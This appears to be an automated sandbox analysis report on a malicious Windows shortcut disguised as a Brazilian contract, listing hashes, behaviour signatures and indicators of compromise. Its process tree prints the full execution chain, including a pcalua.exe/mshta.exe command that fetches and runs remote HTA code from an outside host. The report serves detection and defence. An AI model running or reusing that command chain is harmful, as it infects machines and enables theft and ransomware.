11697385efeae82dcabf246d4c4be611963bbeb75aad0fd0f8d8188bb2837b80

General

Target
Contrato_Indeniza_Brasil-2HM6BZ.lnk
Size 1KB
Sample260803-pxmapabk2x
SHA256 11697385efeae82dcabf246d4c4be611963bbeb75aad0fd0f8d8188bb2837b80
MD5 5c7eea3e7aebb92bbef2d01823c98b69
SHA1 d9dc43fb22e77096ef1e7fce2b9fcaa2c20e7158
SHA512 413c5cfa60da175d70d2e39725448b823713e64b15bd28dcb6d35ace4ce30638fac56d614ad84b485778274a16c7aac0c83348c96c154ff882ec9825b3c40fb8
TLSH
T1D53126003EFD0724F3B7DE76557BAB1099FBF9968E118A1D408446481466A04E57EFB3
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	5092	mshta.exe
17	5092	mshta.exe
19	5092	mshta.exe
21	5092	mshta.exe
26	5092	mshta.exe
33	5092	mshta.exe
34	5092	mshta.exe
38	5092	mshta.exe
39	5092	mshta.exe
40	5092	mshta.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4996	cmd.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 24 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	38	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
6080	rundll32.exe
3988	rundll32.exe
3196	rundll32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4996 wrote to memory of 5804	4996	cmd.exe	86
PID 5804 wrote to memory of 5092	5804	pcalua.exe	87
PID 5092 wrote to memory of 6080	5092	mshta.exe	93
PID 5092 wrote to memory of 3988	5092	mshta.exe	94
PID 5092 wrote to memory of 3196	5092	mshta.exe	95
PID 6080 wrote to memory of 5700	6080	rundll32.exe	96
PID 3988 wrote to memory of 892	3988	rundll32.exe	97
PID 3196 wrote to memory of 3720	3196	rundll32.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-2HM6BZ.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4996
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5804
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:6080
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:5700
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3988
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:892
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3196
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:3720